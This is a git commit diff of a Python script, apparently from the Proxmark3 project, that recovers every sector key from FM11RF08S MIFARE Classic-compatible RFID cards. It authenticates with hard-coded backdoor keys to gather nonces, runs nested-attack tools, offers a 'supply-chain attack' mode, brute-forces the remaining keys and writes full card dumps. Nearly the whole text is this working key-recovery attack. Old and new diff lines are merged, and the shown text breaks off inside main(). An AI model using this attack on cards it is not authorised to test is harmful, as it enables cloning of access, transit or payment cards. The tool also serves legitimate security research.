fm11rf08s_recovery: now usable as main or imported

This commit is contained in:
Philippe Teuwen 2024-10-29 23:10:19 +01:00
commit 59b6c0353d

View file

@ -44,17 +44,22 @@ NUM_SECTORS = 16
NUM_EXTRA_SECTORS = 1 NUM_EXTRA_SECTORS = 1
DICT_DEF = "mfc_default_keys.dic" DICT_DEF = "mfc_default_keys.dic"
DEFAULT_KEYS = set() DEFAULT_KEYS = set()
if os.path.basename(os.path.dirname(os.path.dirname(sys.argv[0]))) == 'client': if __name__ == '__main__':
DIR_PATH = os.path.dirname(os.path.abspath(sys.argv[0]))
else:
DIR_PATH = os.path.dirname(os.path.abspath(__file__))
if os.path.basename(os.path.dirname(DIR_PATH)) == 'client':
# dev setup # dev setup
TOOLS_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", TOOLS_PATH = os.path.normpath(os.path.join(DIR_PATH,
"..", "..", "tools", "mfc", "card_only")) "..", "..", "tools", "mfc", "card_only"))
DICT_DEF_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", DICT_DEF_PATH = os.path.normpath(os.path.join(DIR_PATH,
"..", "dictionaries", DICT_DEF)) "..", "dictionaries", DICT_DEF))
else: else:
# assuming installed # assuming installed
TOOLS_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", TOOLS_PATH = os.path.normpath(os.path.join(DIR_PATH,
"..", "tools")) "..", "tools"))
DICT_DEF_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", DICT_DEF_PATH = os.path.normpath(os.path.join(DIR_PATH,
"dictionaries", DICT_DEF)) "dictionaries", DICT_DEF))
tools = { tools = {
@ -70,17 +75,11 @@ for tool, bin in tools.items():
print(f"Cannot find {bin}, abort!") print(f"Cannot find {bin}, abort!")
exit() exit()
parser = argparse.ArgumentParser(description='A script combining staticnested* tools '
'to recover all keys from a FM11RF08S card.') def recovery(init_check=False, final_check=False, keep=False, debug=False, supply_chain=False, quiet=True):
parser.add_argument('-x', '--init-check', action='store_true', help='Run an initial fchk for default keys') def show(*args, **kwargs):
parser.add_argument('-y', '--final-check', action='store_true', help='Run a final fchk with the found keys') if not quiet:
parser.add_argument('-k', '--keep', action='store_true', help='Keep generated dictionaries after processing') print(*args, **kwargs)
parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode')
parser.add_argument('-s', '--supply-chain', action='store_true', help='Enable supply-chain mode. Look for hf-mf-XXXXXXXX-default_nonces.json')
# Such json can be produced from the json saved by
# "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with
# jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}'
args = parser.parse_args()
start_time = time.time() start_time = time.time()
p = pm3.pm3() p = pm3.pm3()
@ -93,22 +92,21 @@ for line in p.grabbed_output.split('\n'):
uid = int(line[10:].replace(' ', '')[-8:], 16) uid = int(line[10:].replace(' ', '')[-8:], 16)
if uid is None: if uid is None:
print("Card not found") show("Card not found")
exit() return
print("UID: " + color(f"{uid:08X}", fg="green")) show("UID: " + color(f"{uid:08X}", fg="green"))
def show_key(sec, key_type, key):
def print_key(sec, key_type, key):
kt = ['A', 'B'][key_type] kt = ['A', 'B'][key_type]
print(f"Sector {sec:2} key{kt} = " + color(key, fg="green")) show(f"Sector {sec:2} key{kt} = " + color(key, fg="green"))
p.console("prefs show --json") p.console("prefs show --json")
prefs = json.loads(p.grabbed_output) prefs = json.loads(p.grabbed_output)
save_path = prefs['file.default.dumppath'] + os.path.sep save_path = prefs['file.default.dumppath'] + os.path.sep
found_keys = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] found_keys = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
if args.init_check: if init_check:
print("Checking default keys...") show("Checking default keys...")
p.console("hf mf fchk") p.console("hf mf fchk")
for line in p.grabbed_output.split('\n'): for line in p.grabbed_output.split('\n'):
if "[+] 0" in line: if "[+] 0" in line:
@ -116,12 +114,12 @@ if args.init_check:
sec = int(res[0][4:]) sec = int(res[0][4:])
if res[3] == '1': if res[3] == '1':
found_keys[sec][0] = res[2] found_keys[sec][0] = res[2]
print_key(sec, 0, found_keys[sec][0]) show_key(sec, 0, found_keys[sec][0])
if res[5] == '1': if res[5] == '1':
found_keys[sec][1] = res[4] found_keys[sec][1] = res[4]
print_key(sec, 1, found_keys[sec][1]) show_key(sec, 1, found_keys[sec][1])
print("Getting nonces...") show("Getting nonces...")
nonces_with_data = "" nonces_with_data = ""
for key in BACKDOOR_KEYS: for key in BACKDOOR_KEYS:
cmd = f"hf mf isen --collect_fm11rf08s_with_data --key {key}" cmd = f"hf mf isen --collect_fm11rf08s_with_data --key {key}"
@ -135,16 +133,16 @@ for key in BACKDOOR_KEYS:
break break
if (nonces_with_data == ""): if (nonces_with_data == ""):
print("Error getting nonces, abort.") show("Error getting nonces, abort.")
exit() return
try: try:
with open(nonces_with_data, 'r') as file: with open(nonces_with_data, 'r') as file:
# Load and parse the JSON data # Load and parse the JSON data
dict_nwd = json.load(file) dict_nwd = json.load(file)
except json.decoder.JSONDecodeError: except json.decoder.JSONDecodeError:
print(f"Error parsing {nonces_with_data}, abort.") show(f"Error parsing {nonces_with_data}, abort.")
exit() return
nt = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] nt = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
nt_enc = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] nt_enc = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
@ -163,7 +161,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
for blk in range(NUM_SECTORS * 4): for blk in range(NUM_SECTORS * 4):
data[blk] = dict_nwd["blocks"][f"{blk}"] data[blk] = dict_nwd["blocks"][f"{blk}"]
print("Generating first dump file") show("Generating first dump file")
dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin" dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin"
with (open(dumpfile, "wb")) as f: with (open(dumpfile, "wb")) as f:
for sec in range(NUM_SECTORS): for sec in range(NUM_SECTORS):
@ -178,26 +176,26 @@ with (open(dumpfile, "wb")) as f:
kb = "FFFFFFFFFFFF" kb = "FFFFFFFFFFFF"
d = ka + d[12:20] + kb d = ka + d[12:20] + kb
f.write(bytes.fromhex(d)) f.write(bytes.fromhex(d))
print(f"Data has been dumped to `{dumpfile}`") show(f"Data has been dumped to `{dumpfile}`")
elapsed_time1 = time.time() - start_time elapsed_time1 = time.time() - start_time
minutes = int(elapsed_time1 // 60) minutes = int(elapsed_time1 // 60)
seconds = int(elapsed_time1 % 60) seconds = int(elapsed_time1 % 60)
print("----Step 1: " + color(f"{minutes:2}", fg="yellow") + " minutes " + show("----Step 1: " + color(f"{minutes:2}", fg="yellow") + " minutes " +
color(f"{seconds:2}", fg="yellow") + " seconds -----------") color(f"{seconds:2}", fg="yellow") + " seconds -----------")
if os.path.isfile(DICT_DEF_PATH): if os.path.isfile(DICT_DEF_PATH):
print(f"Loading {DICT_DEF}") show(f"Loading {DICT_DEF}")
with open(DICT_DEF_PATH, 'r', encoding='utf-8') as file: with open(DICT_DEF_PATH, 'r', encoding='utf-8') as file:
for line in file: for line in file:
if line[0] != '#' and len(line) >= 12: if line[0] != '#' and len(line) >= 12:
DEFAULT_KEYS.add(line[:12]) DEFAULT_KEYS.add(line[:12])
else: else:
print(f"Warning, {DICT_DEF} not found.") show(f"Warning, {DICT_DEF} not found.")
dict_dnwd = None dict_dnwd = None
def_nt = ["" for _ in range(NUM_SECTORS)] def_nt = ["" for _ in range(NUM_SECTORS)]
if args.supply_chain: if supply_chain:
try: try:
default_nonces = f'{save_path}hf-mf-{uid:04X}-default_nonces.json' default_nonces = f'{save_path}hf-mf-{uid:04X}-default_nonces.json'
with open(default_nonces, 'r') as file: with open(default_nonces, 'r') as file:
@ -205,13 +203,13 @@ if args.supply_chain:
dict_dnwd = json.load(file) dict_dnwd = json.load(file)
for sec in range(NUM_SECTORS): for sec in range(NUM_SECTORS):
def_nt[sec] = dict_dnwd["nt"][f"{sec}"].lower() def_nt[sec] = dict_dnwd["nt"][f"{sec}"].lower()
print(f"Loaded default nonces from {default_nonces}.") show(f"Loaded default nonces from {default_nonces}.")
except FileNotFoundError: except FileNotFoundError:
pass pass
except json.decoder.JSONDecodeError: except json.decoder.JSONDecodeError:
print(f"Error parsing {default_nonces}, skipping.") show(f"Error parsing {default_nonces}, skipping.")
print("Running staticnested_1nt & 2x1nt when doable...") show("Running staticnested_1nt & 2x1nt when doable...")
keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
all_keys = set() all_keys = set()
duplicates = set() duplicates = set()
@ -228,12 +226,12 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
for key_type in [0, 1]: for key_type in [0, 1]:
cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}", cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}",
nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]]
if args.debug: if debug:
print(' '.join(cmd)) print(' '.join(cmd))
subprocess.run(cmd, capture_output=True) subprocess.run(cmd, capture_output=True)
cmd = [tools["staticnested_2x1nt"], cmd = [tools["staticnested_2x1nt"],
f"keys_{uid:08x}_{real_sec:02}_{nt[sec][0]}.dic", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][1]}.dic"] f"keys_{uid:08x}_{real_sec:02}_{nt[sec][0]}.dic", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][1]}.dic"]
if args.debug: if debug:
print(' '.join(cmd)) print(' '.join(cmd))
subprocess.run(cmd, capture_output=True) subprocess.run(cmd, capture_output=True)
filtered_dicts[sec][key_type] = True filtered_dicts[sec][key_type] = True
@ -247,8 +245,9 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
all_keys.update(keys_set) all_keys.update(keys_set)
if dict_dnwd is not None and sec < NUM_SECTORS: if dict_dnwd is not None and sec < NUM_SECTORS:
# Prioritize keys from supply-chain attack # Prioritize keys from supply-chain attack
cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"] cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF",
if args.debug: f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"]
if debug:
print(' '.join(cmd)) print(' '.join(cmd))
result = subprocess.run(cmd, capture_output=True, text=True).stdout result = subprocess.run(cmd, capture_output=True, text=True).stdout
keys_def_set = set() keys_def_set = set()
@ -279,7 +278,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
key_type = 1 key_type = 1
cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}", cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}",
nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]]
if args.debug: if debug:
print(' '.join(cmd)) print(' '.join(cmd))
subprocess.run(cmd, capture_output=True) subprocess.run(cmd, capture_output=True)
keys_set = set() keys_set = set()
@ -291,8 +290,9 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
all_keys.update(keys_set) all_keys.update(keys_set)
if dict_dnwd is not None and sec < NUM_SECTORS: if dict_dnwd is not None and sec < NUM_SECTORS:
# Prioritize keys from supply-chain attack # Prioritize keys from supply-chain attack
cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"] cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF",
if args.debug: f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"]
if debug:
print(' '.join(cmd)) print(' '.join(cmd))
result = subprocess.run(cmd, capture_output=True, text=True).stdout result = subprocess.run(cmd, capture_output=True, text=True).stdout
keys_def_set = set() keys_def_set = set()
@ -312,7 +312,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
for k in keys_set: for k in keys_set:
f.write(f"{k}\n") f.write(f"{k}\n")
print("Looking for common keys across sectors...") show("Looking for common keys across sectors...")
keys_filtered = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] keys_filtered = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
for dup in duplicates: for dup in duplicates:
for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
@ -330,7 +330,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
for key_type in [0, 1]: for key_type in [0, 1]:
if len(keys_filtered[sec][key_type]) > 0: if len(keys_filtered[sec][key_type]) > 0:
if first: if first:
print("Saving duplicates dicts...") show("Saving duplicates dicts...")
first = False first = False
with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic", "w")) as f: with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic", "w")) as f:
keys_set = keys_filtered[sec][key_type].copy() keys_set = keys_filtered[sec][key_type].copy()
@ -342,7 +342,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
f.write(f"{k}\n") f.write(f"{k}\n")
duplicates_dicts[sec][key_type] = True duplicates_dicts[sec][key_type] = True
print("Computing needed time for attack...") show("Computing needed time for attack...")
candidates = [[0, 0] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] candidates = [[0, 0] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
real_sec = sec real_sec = sec
@ -359,7 +359,9 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
if nt[sec][0] == nt[sec][1]: if nt[sec][0] == nt[sec][1]:
candidates[sec][key_type ^ 1] = 1 candidates[sec][key_type ^ 1] = 1
for key_type in [0, 1]: for key_type in [0, 1]:
if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type] and candidates[sec][0] == 0 and candidates[sec][1] == 0: if ((found_keys[sec][0] == "" and found_keys[sec][1] == "" and
filtered_dicts[sec][key_type] and candidates[sec][0] == 0 and
candidates[sec][1] == 0)):
if found_default[sec][key_type]: if found_default[sec][key_type]:
# We assume the default key is correct # We assume the default key is correct
candidates[sec][key_type] = 1 candidates[sec][key_type] = 1
@ -370,7 +372,9 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
count = sum(1 for _ in file) count = sum(1 for _ in file)
# print(f"dic {dic} size {count}") # print(f"dic {dic} size {count}")
candidates[sec][key_type] = count candidates[sec][key_type] = count
if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1] and candidates[sec][0] == 0 and candidates[sec][1] == 0: if ((found_keys[sec][0] == "" and found_keys[sec][1] == "" and
nt[sec][0] == nt[sec][1] and candidates[sec][0] == 0 and
candidates[sec][1] == 0)):
if found_default[sec][0]: if found_default[sec][0]:
# We assume the default key is correct # We assume the default key is correct
candidates[sec][0] = 1 candidates[sec][0] = 1
@ -385,18 +389,18 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
candidates[sec][0] = count candidates[sec][0] = count
candidates[sec][1] = 1 candidates[sec][1] = 1
if args.debug: if debug:
for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
real_sec = sec real_sec = sec
if sec >= NUM_SECTORS: if sec >= NUM_SECTORS:
real_sec += 16 real_sec += 16
print(f" {real_sec:03} | {real_sec*4+3:03} | {candidates[sec][0]:6} | {candidates[sec][1]:6} ") show(f" {real_sec:03} | {real_sec*4+3:03} | {candidates[sec][0]:6} | {candidates[sec][1]:6} ")
total_candidates = sum(candidates[sec][0] + candidates[sec][1] for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS)) total_candidates = sum(candidates[sec][0] + candidates[sec][1] for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS))
elapsed_time2 = time.time() - start_time - elapsed_time1 elapsed_time2 = time.time() - start_time - elapsed_time1
minutes = int(elapsed_time2 // 60) minutes = int(elapsed_time2 // 60)
seconds = int(elapsed_time2 % 60) seconds = int(elapsed_time2 % 60)
print("----Step 2: " + color(f"{minutes:2}", fg="yellow") + " minutes " + show("----Step 2: " + color(f"{minutes:2}", fg="yellow") + " minutes " +
color(f"{seconds:2}", fg="yellow") + " seconds -----------") color(f"{seconds:2}", fg="yellow") + " seconds -----------")
# fchk: 147 keys/s. Correct key found after 50% of candidates on average # fchk: 147 keys/s. Correct key found after 50% of candidates on average
@ -404,11 +408,11 @@ FCHK_KEYS_S = 147
foreseen_time = (total_candidates / 2 / FCHK_KEYS_S) + 5 foreseen_time = (total_candidates / 2 / FCHK_KEYS_S) + 5
minutes = int(foreseen_time // 60) minutes = int(foreseen_time // 60)
seconds = int(foreseen_time % 60) seconds = int(foreseen_time % 60)
print("Still about " + color(f"{minutes:2}", fg="yellow") + " minutes " + show("Still about " + color(f"{minutes:2}", fg="yellow") + " minutes " +
color(f"{seconds:2}", fg="yellow") + " seconds to run...") color(f"{seconds:2}", fg="yellow") + " seconds to run...")
abort = False abort = False
print("Brute-forcing keys... Press any key to interrupt") show("Brute-forcing keys... Press any key to interrupt")
for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
real_sec = sec real_sec = sec
if sec >= NUM_SECTORS: if sec >= NUM_SECTORS:
@ -421,7 +425,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
kt = ['a', 'b'][key_type] kt = ['a', 'b'][key_type]
dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic"
cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default"
if args.debug: if debug:
print(cmd) print(cmd)
p.console(cmd) p.console(cmd)
for line in p.grabbed_output.split('\n'): for line in p.grabbed_output.split('\n'):
@ -429,10 +433,10 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
abort = True abort = True
if "found:" in line: if "found:" in line:
found_keys[sec][key_type] = line[30:].strip() found_keys[sec][key_type] = line[30:].strip()
print_key(real_sec, key_type, found_keys[sec][key_type]) show_key(real_sec, key_type, found_keys[sec][key_type])
if nt[sec][0] == nt[sec][1] and found_keys[sec][key_type ^ 1] == "": if nt[sec][0] == nt[sec][1] and found_keys[sec][key_type ^ 1] == "":
found_keys[sec][key_type ^ 1] = found_keys[sec][key_type] found_keys[sec][key_type ^ 1] = found_keys[sec][key_type]
print_key(real_sec, key_type ^ 1, found_keys[sec][key_type ^ 1]) show_key(real_sec, key_type ^ 1, found_keys[sec][key_type ^ 1])
if abort: if abort:
break break
if abort: if abort:
@ -447,7 +451,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
kt = ['a', 'b'][key_type] kt = ['a', 'b'][key_type]
dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"
cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default"
if args.debug: if debug:
print(cmd) print(cmd)
p.console(cmd) p.console(cmd)
for line in p.grabbed_output.split('\n'): for line in p.grabbed_output.split('\n'):
@ -455,7 +459,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
abort = True abort = True
if "found:" in line: if "found:" in line:
found_keys[sec][key_type] = line[30:].strip() found_keys[sec][key_type] = line[30:].strip()
print_key(real_sec, key_type, found_keys[sec][key_type]) show_key(real_sec, key_type, found_keys[sec][key_type])
if abort: if abort:
break break
if abort: if abort:
@ -468,7 +472,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
kt = ['a', 'b'][key_type] kt = ['a', 'b'][key_type]
dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"
cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default"
if args.debug: if debug:
print(cmd) print(cmd)
p.console(cmd) p.console(cmd)
for line in p.grabbed_output.split('\n'): for line in p.grabbed_output.split('\n'):
@ -477,8 +481,8 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
if "found:" in line: if "found:" in line:
found_keys[sec][0] = line[30:].strip() found_keys[sec][0] = line[30:].strip()
found_keys[sec][1] = line[30:].strip() found_keys[sec][1] = line[30:].strip()
print_key(real_sec, 0, found_keys[sec][key_type]) show_key(real_sec, 0, found_keys[sec][key_type])
print_key(real_sec, 1, found_keys[sec][key_type]) show_key(real_sec, 1, found_keys[sec][key_type])
if abort: if abort:
break break
@ -497,7 +501,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
else: else:
dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}.dic" dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}.dic"
cmd = [tools["staticnested_2x1nt1key"], nt[sec][key_type_source], found_keys[sec][key_type_source], dic] cmd = [tools["staticnested_2x1nt1key"], nt[sec][key_type_source], found_keys[sec][key_type_source], dic]
if args.debug: if debug:
print(' '.join(cmd)) print(' '.join(cmd))
result = subprocess.run(cmd, capture_output=True, text=True).stdout result = subprocess.run(cmd, capture_output=True, text=True).stdout
keys = set() keys = set()
@ -509,7 +513,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} --no-default" cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} --no-default"
for k in keys: for k in keys:
cmd += f" -k {k}" cmd += f" -k {k}"
if args.debug: if debug:
print(cmd) print(cmd)
p.console(cmd) p.console(cmd)
for line in p.grabbed_output.split('\n'): for line in p.grabbed_output.split('\n'):
@ -520,32 +524,32 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
elif len(keys) == 1: elif len(keys) == 1:
found_keys[sec][key_type_target] = keys.pop() found_keys[sec][key_type_target] = keys.pop()
if found_keys[sec][key_type_target] != "": if found_keys[sec][key_type_target] != "":
print_key(real_sec, key_type_target, found_keys[sec][key_type_target]) show_key(real_sec, key_type_target, found_keys[sec][key_type_target])
if abort: if abort:
break break
if abort: if abort:
print("Brute-forcing phase aborted via keyboard!") show("Brute-forcing phase aborted via keyboard!")
args.final_check = False final_check = False
plus = "[" + color("+", fg="green") + "] " plus = "[" + color("+", fg="green") + "] "
if args.final_check: if final_check:
print("Letting fchk do a final dump, just for confirmation and display...") show("Letting fchk do a final dump, just for confirmation and display...")
keys_set = set([i for sl in found_keys for i in sl if i != ""]) keys_set = set([i for sl in found_keys for i in sl if i != ""])
with (open(f"keys_{uid:08x}.dic", "w")) as f: with (open(f"keys_{uid:08x}.dic", "w")) as f:
for k in keys_set: for k in keys_set:
f.write(f"{k}\n") f.write(f"{k}\n")
cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump" cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump"
if args.debug: if debug:
print(cmd) print(cmd)
p.console(cmd, capture=False, quiet=False) p.console(cmd, capture=False, quiet=False)
else: else:
print() show()
print(plus + color("found keys:", fg="green")) show(plus + color("found keys:", fg="green"))
print() show()
print(plus + "-----+-----+--------------+---+--------------+----") show(plus + "-----+-----+--------------+---+--------------+----")
print(plus + " Sec | Blk | key A |res| key B |res") show(plus + " Sec | Blk | key A |res| key B |res")
print(plus + "-----+-----+--------------+---+--------------+----") show(plus + "-----+-----+--------------+---+--------------+----")
for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
real_sec = sec real_sec = sec
if sec >= NUM_SECTORS: if sec >= NUM_SECTORS:
@ -556,12 +560,13 @@ else:
keys[key_type] = [color("------------", fg="red"), color("0", fg="red")] keys[key_type] = [color("------------", fg="red"), color("0", fg="red")]
else: else:
keys[key_type] = [color(found_keys[sec][key_type], fg="green"), color("1", fg="green")] keys[key_type] = [color(found_keys[sec][key_type], fg="green"), color("1", fg="green")]
print(plus + f" {real_sec:03} | {real_sec*4+3:03} | {keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ") show(plus + f" {real_sec:03} | {real_sec*4+3:03} | " +
print(plus + "-----+-----+--------------+---+--------------+----") f"{keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ")
print(plus + "( " + color("0", fg="red") + ":Failed / " + show(plus + "-----+-----+--------------+---+--------------+----")
show(plus + "( " + color("0", fg="red") + ":Failed / " +
color("1", fg="green") + ":Success )") color("1", fg="green") + ":Success )")
print() show()
print(plus + "Generating binary key file") show(plus + "Generating binary key file")
keyfile = f"{save_path}hf-mf-{uid:08X}-key.bin" keyfile = f"{save_path}hf-mf-{uid:08X}-key.bin"
unknown = False unknown = False
with (open(keyfile, "wb")) as f: with (open(keyfile, "wb")) as f:
@ -572,11 +577,11 @@ else:
k = "FFFFFFFFFFFF" k = "FFFFFFFFFFFF"
unknown = True unknown = True
f.write(bytes.fromhex(k)) f.write(bytes.fromhex(k))
print(plus + "Found keys have been dumped to `" + color(keyfile, fg="yellow")+"`") show(plus + "Found keys have been dumped to `" + color(keyfile, fg="yellow")+"`")
if unknown: if unknown:
print("[" + color("=", fg="yellow") + "] --[ " + color("FFFFFFFFFFFF", fg="yellow") + show("[" + color("=", fg="yellow") + "] --[ " + color("FFFFFFFFFFFF", fg="yellow") +
" ]-- has been inserted for unknown keys") " ]-- has been inserted for unknown keys")
print(plus + "Generating final dump file") show(plus + "Generating final dump file")
dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin" dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin"
with (open(dumpfile, "wb")) as f: with (open(dumpfile, "wb")) as f:
for sec in range(NUM_SECTORS): for sec in range(NUM_SECTORS):
@ -591,11 +596,11 @@ else:
kb = "FFFFFFFFFFFF" kb = "FFFFFFFFFFFF"
d = ka + d[12:20] + kb d = ka + d[12:20] + kb
f.write(bytes.fromhex(d)) f.write(bytes.fromhex(d))
print(plus + "Data has been dumped to `" + color(dumpfile, fg="yellow")+"`") show(plus + "Data has been dumped to `" + color(dumpfile, fg="yellow")+"`")
# Remove generated dictionaries after processing # Remove generated dictionaries after processing
if not args.keep: if not keep:
print(plus + "Removing generated dictionaries...") show(plus + "Removing generated dictionaries...")
for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
real_sec = sec real_sec = sec
if sec >= NUM_SECTORS: if sec >= NUM_SECTORS:
@ -609,11 +614,41 @@ if not args.keep:
elapsed_time3 = time.time() - start_time - elapsed_time1 - elapsed_time2 elapsed_time3 = time.time() - start_time - elapsed_time1 - elapsed_time2
minutes = int(elapsed_time3 // 60) minutes = int(elapsed_time3 // 60)
seconds = int(elapsed_time3 % 60) seconds = int(elapsed_time3 % 60)
print("----Step 3: " + color(f"{minutes:2}", fg="yellow") + " minutes " + show("----Step 3: " + color(f"{minutes:2}", fg="yellow") + " minutes " +
color(f"{seconds:2}", fg="yellow") + " seconds -----------") color(f"{seconds:2}", fg="yellow") + " seconds -----------")
elapsed_time = time.time() - start_time elapsed_time = time.time() - start_time
minutes = int(elapsed_time // 60) minutes = int(elapsed_time // 60)
seconds = int(elapsed_time % 60) seconds = int(elapsed_time % 60)
print("---- TOTAL: " + color(f"{minutes:2}", fg="yellow") + " minutes " + show("---- TOTAL: " + color(f"{minutes:2}", fg="yellow") + " minutes " +
color(f"{seconds:2}", fg="yellow") + " seconds -----------") color(f"{seconds:2}", fg="yellow") + " seconds -----------")
return (found_keys, data)
def main():
parser = argparse.ArgumentParser(description='A script combining staticnested* tools '
'to recover all keys from a FM11RF08S card.')
parser.add_argument('-x', '--init-check', action='store_true', help='Run an initial fchk for default keys')
parser.add_argument('-y', '--final-check', action='store_true', help='Run a final fchk with the found keys')
parser.add_argument('-k', '--keep', action='store_true', help='Keep generated dictionaries after processing')
parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode')
parser.add_argument('-s', '--supply-chain', action='store_true', help='Enable supply-chain mode. '
'Look for hf-mf-XXXXXXXX-default_nonces.json')
# Such json can be produced from the json saved by
# "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with
# jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}'
args = parser.parse_args()
recovery(
init_check=args.init_check,
final_check=args.final_check,
keep=args.keep,
debug=args.debug,
